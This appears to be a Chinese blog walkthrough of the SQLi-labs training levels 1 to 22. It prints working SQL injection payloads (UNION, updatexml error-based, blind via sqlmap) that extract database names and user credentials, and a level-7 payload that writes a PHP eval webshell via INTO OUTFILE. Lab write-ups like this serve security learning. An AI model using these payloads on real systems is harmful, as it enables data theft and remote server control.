当前位置: 首页 > article >正文

SQL-labs通关(level1-22)

SQL-labs靶场详解

靶场下载

靶场下载地址

关卡

level1联合注入

用order by语句来查询字段数
顺便提一下,使用联合注入语句union select也可以查询字段数,在不能使用order by的情况下,可以使用union select来查询字段数。

这里我们通过查询得知了字段数为3,且回显位是2和3.直接构造语句即可

?id=-1' union select 1,database(),3--+ //得知库名为security
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+       //表有emails,referers,uagents,users
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+     //字段有id,username,password
?id=-1' union select 1,(select group_concat(id,username,password)from users),3--+  //得到1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5st………………
相关语句
已知库名查表名
group_concat(table_name) from information_schema.tables where table_schema='database name'
已知表明查字段
group_concat(column_name)from information_schema.columns where table_name='table name'
查字段
group_concat(a,b,c)from table name   --+ a,b,c字段名
查注释   //使用下面的语句可以查询表的注释,在一些ctf题目中,flag可能会藏在注释中
group_concat(concat(column_name, ': ', column_comment) separator '; ') as column_comments from information_schema.columns where table_schema = '库名' and table_name = '表名'

level2整数注入

与上一题payload相差不大,只需将payload首个字母的单引号去掉即可

level3')闭合

开局?id=1‘order by 3--+起手,发现报错信息是:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') LIMIT 0,1' at line 1 
意识到这里存在括号和单引号的闭合问题,反括号闭合以下试试看
?id=1')order by 3--+发现回显正常,后面参考关卡1即可

level4")闭合

这里应该考的是使用双引号和括号闭合
但是使用?id=1‘order by 3--+起手,发现能正常回显,不得不说起手这招太强大啦
不管使用什么闭合方式,只要能正常的回显,就是成功的,后续操作参考关卡1

level5报错注入

依旧?id=1‘order by 3--+起手
再测试?id=1‘order by 4--+,发现报错回显:Unknown column '4' in 'order clause'
尝试报错注入
?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+   //回显XPATH syntax error: '~security~'
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+		//回显XPATH syntax error:'~emails,referers,uagents,users~'
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1)--+  //XPATH syntax error: '~L_CONNECTIONS,id,username,passw'
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)--+//XPATH syntax error: '~Dumb----Dumb,Angelina----I-kill' //这里回显位有限,不能同时看到,可以通过修改payload中的值来修改回显的数据

报错注入相关语句,这里的payload是整数型,在字符型注入中记得加入'或其他闭合问题

爆库
?id=1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
爆表
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,31),0x7e),1)
爆列名
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1)
爆内容
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)

level6报错注入

这里考察的依旧是报错注入,和第五关不同的是,这里是使用双引号来闭合,只需要将上一关payload中的单引号换为双引号即可

level7文件上传

在输入?id=1时,发现回显You are in… Use outfile…
怀疑可能存在文件上传,这时要先确定,配置文件中控制文件上传的参数secure_file_priv要为空
关于这个参数,还有进行UDF提权的可能,具体见往期博客Mysql提权

payload
?id=1'))  union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile "C:\\phpstudy_pro\\WWW\\1.php" --+
然后使用蚁剑连接http://111.111.111.111/1.php,即可
还可以
?id=1'))  union select 1,"<?phpinfo();?>",3 into outfile "F:\\PHPstudy\\phpstudy_pro\\WWW\\aaa.php" --+
直接在地址栏键入http://localhost/aaa.php即可

level8布尔盲注

布尔盲注是SQL注入的一种高级技术,当Web应用存在SQL注入漏洞但不会直接返回查询结果或错误信息时使用。它的核心原理是通过构造真/假条件,观察页面返回的差异来推断数据。

我们可以用id=1和id=-1来进行测试,发现正确查询和错误查询的回显不一样,符合布尔盲注的条件
这里可以直接使用sqlmap工具
爆库:sqlmap -u sqlmap -u http://111.111.111.111/sql/Less-8/?id=1 --current-db
…………………………

level9时间盲注

用id=1和id=-1来进行测试,发现正确查询和错误查询的回显一样,符合时间盲注的特征
这里还是可以直接使用sqlmap工具
爆库:sqlmap -u sqlmap -u http://111.111.111.111/sql/Less-9/?id=1 --current-db

返回:

[18:47:06] [INFO] retrieved: security
current database: 'security'

level10时间盲注

这里依旧时时间盲注,与上一关的不同是,这里使用“双引号进行闭合,但是如果我们使用sqlmap的话,可是说是没有影响

level11POST注入

这里我们使用Burpsuite进行注入

首先,我们在Username和Password两栏输入1’来测试,看看哪个可以进行sql注入,经过测试后,发现两个都行

注入思路
uname=1&passwd=1'order by 3#&submit=Submit							//还是先查看字段数,发现字段数为2。
uname=1&passwd=1'union select 1,2#&submit=Submit					//查看回显位
根据回显情况判断得出,1和2都是回显位。
uname=1&passwd=1'union select database(),2#&submit=Submit			//成功回显出数据库名
剩下的操作参考level1即可

level12POST注入

测试得出该题是利用双引号和括号的组合")进行闭合,其他地方和上一题没有不同,payload参考上题即可

level13POST注入

测试得出该题是利用单引号和括号的组合’)进行闭合,其他地方和上一题没有不同,payload参考上题即可

level14POST报错注入

通过输入单引号,双引号,括号等,来测试出闭合方式,结果是双引号闭合
uname=1&passwd=1"or updatexml(1,concat(0x7e,(select database()),0x7e),1)#&submit=Submit  //成功爆出库名
剩下的payload参考level5

level15盲注

无论注入什么都没有反应,画面也没用变化,看过wp后发现,原来是盲注,依旧选择使用sqlmap

这里的1.txt是将BP抓到的数据包全部复制进文件中
sqlmap -r '/home/lubai/Desktop/1.txt' --current-db
…………………………

level16盲注

这里依旧是盲注,只是闭合方式不同,但是对sqlmap没有影响,payload参考上一关

level17报错注入

这里使用order by 1/2/3/4/5/……都会报错,尝试一下报错注入
uname=admin&passwd=1'and (updatexml(1,concat(0x7e, database(),0x7e),1))# &submit=Submit
发现成功查到了数据库名,原来这里考察的是报错注入,后面的payload参考前面的关卡即可。

level18User-Agent注入

登录一下admin;1看看有什么东西
发现把请求中User-Agent请求头中的信息显示了出来,尝试在此编写语句进行sql注入。
这里由于闭合问题我卡了很久,最后看了WP才知道payload是
User-Agent:1'and (updatexml(1,concat(0x7e, database(),0x7e),1))and '1'='
这里我不明白报错函数后and '1'='是什么用处
后来求助了Deepseek才知道是为了闭合

level19referer注入

这里和上题除了注入点不同,其他的没什么区别,payload参考上题即可

level20Cookie注入

随便登录后,发现请求头中的Cookie中的内容显示在页面中
Cookie: uname=1' union select 1,2,3#     测试字段数的同时还能得到回显位,这里字段数是3个,且三个都是回显位
这时关卡就变成了简单的联合注入,payload参考第一关即可

level21Cookie+Base64编码注入

随便登录后发现依旧是将Cookie中的内容显示在页面中,只不过是一段乱码,看着像Base64编码,解码验证了这一想法,剩下的和上一关就一样了

level22Cookie+Base64编码+“闭合注入

和上一关很相似,Cookie的值被Base64加密过了,通过不断测试得知是双引号闭合的联合注入,只需将1"union select 1,2,3#
进行Base64编码即可,后续操作不再掩饰

结语

sql-labs的前22关考察的联合注入,报错注入,和盲注(布尔盲注和时间盲注)以及一些闭合问题,掌握了这些注入语句后还是很简单的。

声明

本文章学习自未知百分百。
本文章用于记录和分享自己的学习过程,如有错误希望各位大佬及时指出,共勉!

相关文章:

SQL-labs通关(level1-22)

SQL-labs靶场详解 靶场下载 靶场下载地址 关卡 level1联合注入 用order by语句来查询字段数 顺便提一下&#xff0c;使用联合注入语句union select也可以查询字段数&#xff0c;在不能使用order by的情况下&#xff0c;可以使用union select来查询字段数。这里我们通过查询…...

【HarmonyOS5】UIAbility组件生命周期详解:从创建到销毁的全景解析

⭐本期内容&#xff1a;【HarmonyOS5】UIAbility组件生命周期详解&#xff1a;从创建到销毁的全景解析 &#x1f3c6;系列专栏&#xff1a;鸿蒙HarmonyOS&#xff1a;探索未来智能生态新纪元 文章目录 前言生命周期全景图详细状态解析与最佳实践&#x1f3ac; Create状态&#…...

在命令行直接执行可以执行成功,加入crontab定时任务执行shell脚本不成功失败的问题解决方法

今天遇到在命令行直接执行可以执行成功&#xff0c;加入crontab定时任务执行shell脚本却不成功失败的问题&#xff0c;踩坑了很长时间 记录下我的解决方法 原来我的定时任务填写方式: [roottao ~]# crontab -l */10 * * * * /bin/sh /search/index.sh >>/dev/null 2&g…...

c++ 静态成员变量

Student.h头文件内容&#xff1a; #pragma once #include <string> using namespace std;class Student { public:string name;int score;static int totalScore; // 静态局部变量声明Student(string name, int score);~Student();void print() const; };Student.cpp源文…...

分布式爬虫代理IP使用技巧

最近我们讨论的是分布式爬虫如何使用代理IP。在我们日常的分布式爬虫系统中&#xff0c;多个爬虫节点同时工作&#xff0c;每个节点都需要使用代理IP来避免被目标网站封禁。怎么解决代理IP问题显得尤为重要。 我们知道在分布式爬虫中使用代理IP是解决IP封禁、提高并发能力和实…...

数据分析之OLTP vs OLAP

数据处理系统主要有两种基本方法&#xff1a;一种注重数据操作(增删查改)&#xff0c;另一种注重商业智能数据分析。 这两种系统是&#xff1a; 联机事务处理&#xff08;OLTP&#xff09; 联机分析处理&#xff08;OLAP&#xff09; Power BI专为与OLAP系统兼容而构建&…...

Flask音频处理:构建高效的Web音频应用指南

引言 在当今多媒体丰富的互联网环境中&#xff0c;音频处理功能已成为许多Web应用的重要组成部分。无论是音乐分享平台、语音识别服务还是播客应用&#xff0c;都需要强大的音频处理能力。Python的Flask框架因其轻量级和灵活性&#xff0c;成为构建这类应用的理想选择。 本文…...

powershell 安装 .netframework3.5

在 PowerShell 中安装 .NET Framework 3.5 可以通过几种不同的方法实现&#xff0c;取决于你的操作系统版本。以下是几种常见的方法&#xff1a; 方法1&#xff1a;使用 DISM 命令 对于 Windows 10 和 Windows 8.1&#xff0c;你可以使用 DISM&#xff08;Deployment Image Se…...

dvwa5——File Upload

LOW 在dvwa里建一个testd2.php文件&#xff0c;写入一句话木马&#xff0c;密码password antsword连接 直接上传testd2.php文件&#xff0c;上传成功 MEDIUM 查看源码&#xff0c;发现这一关只能提交jpg和png格式的文件 把testd2.php的后缀改成jpg&#xff0c;上传时用bp抓包…...

cv::FileStorage用法

cv::FileStorage 是 OpenCV 中的一个类&#xff0c;用于读取和写入结构化数据&#xff08;如 YAML、XML、JSON&#xff09;。它非常适合保存和加载诸如&#xff1a; 相机内参&#xff08;K、D&#xff09; 位姿&#xff08;R、T&#xff09; IMU 数据 配置参数 向量、矩阵、…...

Go 语言 := 运算符详解(短变量声明)

Go 语言 : 运算符详解&#xff08;短变量声明&#xff09; : 是 Go 语言中特有的​​短变量声明运算符​​&#xff08;short variable declaration&#xff09;&#xff0c;它提供了简洁的声明并初始化变量的方式。这是 Go 语言中常用且强大的特性之一。 基本语法和用途 va…...

【优选算法】C++滑动窗口

1、长度最小的子数组 思路&#xff1a; class Solution { public:int minSubArrayLen(int target, vector<int>& nums) {// 滑动窗口// 1.left0,right0// 2.进窗口( nums[right])// 3.判断// 出窗口// (4.更新结果)// 总和大于等于 target 的长度最小的 子数组…...

关于GitHub action云编译openwrt

特别声明:此教程仅你有成功离线编译的经验后,使用下列教程更佳 不建议没有任何成功经验的人进行云编译 1、准备工作 使用GitHub云编译模板 GitHub - jxjxcw/build_openwrt: 利用Actions在线云编译openwrt固件,适合官方源码,lede,lienol和immortalwrt源码,支持X86,电…...

数据库学习(二)——MySQL语句

MySQL 语句分为&#xff1a; 语句类型作用关键字示例数据查询&#xff08;DQL&#xff09;查询数据SELECT数据操作&#xff08;DML&#xff09;插入、更新、删除数据INSERT, UPDATE, DELETE数据定义&#xff08;DDL&#xff09;定义或修改表结构CREATE, ALTER, DROP事务控制&a…...

AI Agent 架构设计:ReAct 与 Self-Ask 模式对比与分析

一、引言 (一) AI Agent 技术发展背景 &#x1f680; AI Agent 的演进是一场从“遵循指令”到“自主决策”的深刻变革。早期&#xff0c;以规则引擎为核心的系统&#xff08;如关键词匹配的客服机器人&#xff09;只能在预设的流程上运行。然而&#xff0c;大语言模型的崛起为…...

sql入门语句-案例

Sql入门 数据库、数据表、数据的关系介绍 数据库 用于存储和管理数据的仓库 一个库中可以包含多个数据表 数据表 数据库最重要的组成部分之一 它由纵向的列和横向的行组成(类似excel表格) 可以指定列名、数据类型、约束等 一个表中可以存储多条数据 数据 想要永久化存储…...

A Survey on the Memory Mechanism of Large Language Model based Agents

目录 摘要Abstract1. LLM-Based Agent的Memory1.1 基础概念1.2 用于解释Memory的例子1.3 智能体记忆的定义1.3.1 狭义定义(肯定不用这个定义)1.3.2 广义定义 1.4 记忆协助下智能体与环境的交互过程1.4.1 记忆写入1.4.2 记忆管理1.4.3 记忆读取1.4.4 总过程 2. 如何实现智能体记…...

华为OD机试 - 猴子吃桃 - 二分查找(Java 2025 B卷 200分)

public class Test14 {public static void main(String[] args) {Scanner sc = new Scanner(System.in);while (sc.hasNext()) {String[] s = sc.nextLine().split(" ");int[] arr = new int[s.length-1];int count = Integer.parseInt(s[s...

提取数据区域中表格

查看本示例演示效果本示例关键代码的编写位置&#xff0c;请参考“开始 - 快速上手”里您所使用的开发语言框架的最简集成代码 在实际的开发过程中&#xff0c;有时会遇到希望提取Word文档中表格数据保存到服务器的需求&#xff0c;此时可以使用PageOffice提取Word文档数据区域…...

【设计模式-5】设计模式的总结

说明&#xff1a;介绍完所有的设计模式&#xff0c;本文做一下总结 设计模式介绍 博主写的设计模式博客如下&#xff1a; 【设计模式-1】UML和设计原则 【设计模式-2.1】创建型——单例模式 【设计模式-2.2】创建型——简单工厂和工厂模式 【设计模式-2.3】创建型——原型…...

【无人机】无人机UAV、穿越机FPV的概念介绍,机型与工具,证书与规定

【无人机】无人机UAV、穿越机FPV的概念介绍&#xff0c;机型与工具&#xff0c;证书与规定 文章目录 1、无人机的定义、概念、技术栈1.1 无人机的概念1.2 无人机技术&#xff08;飞控&#xff0c;动力&#xff0c;通信&#xff09; 2、无人机机型2.1 DJI无人机 &#xff08;航拍…...

链表好题-多种实现

143. 重排链表 - 力扣&#xff08;LeetCode&#xff09; 这道题非常经典&#xff0c;很多大厂都作为面试题。 方法一&#xff1a;寻找中点翻转链表合并链表 class Solution { public:void reorderList(ListNode* head) {if (head nullptr) {return;}ListNode* mid middleNo…...

oracle数据恢复—oracle数据库执行truncate命令后的怎么恢复数据?

oracle数据库误执行truncate命令导致数据丢失是一种常见情况。通常情况下&#xff0c;oracle数据库误操作删除数据只需要通过备份恢复数据即可。也会碰到一些特殊情况&#xff0c;例如数据库备份无法使用或者还原报错等。下面和大家分享一例oracle数据库误执行truncate命令导致…...

OneNet + openssl + MTLL

1.OneNet 使用的教程 1.在网络上搜索onenet&#xff0c;注册并且登录账号。 2.产品服务-----物联网服务平台立即体验 3.在底下找到立即体验进去 4.产品开发------创建产品 5.关键是选择MQTT&#xff0c;其他的内容自己填写 6.这里产品以及开发完成&#xff0c;接下来就是添加设…...

分享两个日常办公软件:uTools、PixPin

1. uTools 网址&#xff1a;https://u.tools/ 这是一个高效智能的在线工具平台。 特点&#xff1a; 专为提升用户的工作效率跟生活便利性设计。 优点&#xff1a; 1&#xff1a;由国内团队开发。 2&#xff1a;通过插件化的方式为用户提供多样化的功能支持。 3&#xf…...

Golang基础学习

​​​​​​​​​​ 初见golang语法 go项目路径 cd $GOPATH //ls可以看到有bin,pkg,src三个文件 cd src/ mkdir GolangStudy cd GolangStudy mkdir firstGolanggo程序执行: go run hello.go//如果想分两步执行: go build hello.go ./hello导入包的方式 import "f…...

[学习] GNSS信号跟踪环路原理、设计与仿真(仿真代码)

GNSS信号跟踪环路原理、设计与仿真 文章目录 GNSS信号跟踪环路原理、设计与仿真一、GNSS信号跟踪环路概述二、跟踪环路基本原理1. 信号跟踪的概念与目标2. 锁相环&#xff08;PLL&#xff09;原理3. 锁频环&#xff08;FLL&#xff09;原理4. 延迟锁定环&#xff08;DLL&#x…...

Python实例题:Python计算微积分

目录 Python实例题 题目 代码实现 实现原理 符号计算&#xff1a; 数值计算&#xff1a; 可视化功能&#xff1a; 关键代码解析 1. 导数计算 2. 积分计算 3. 微分方程求解 4. 函数图像绘制 使用说明 安装依赖&#xff1a; 基本用法&#xff1a; 示例输出&#…...

如何判断指针是否需要释放?

在 C 中判断一个指针是否需要释放可以考虑以下几个方面&#xff1a; 一、确定指针的来源 1. 动态分配的内存&#xff1a; 如果指针是通过new、new[]、malloc、calloc等动态内存分配函数获取的&#xff0c;那么在不再需要该内存时&#xff0c;必须手动释放。 例如&#xff1a…...

Spark 之 AQE

个人其他链接 AQE 执行顺序https://blog.csdn.net/zhixingheyi_tian/article/details/125112793 AQE 产生 AQE 的 循环触发点 src/main/scala/org/apache/spark/sql/execution/adaptive/AdaptiveSparkPlanExec.scala override def doExecute(): RDD[InternalRow] = {withFin…...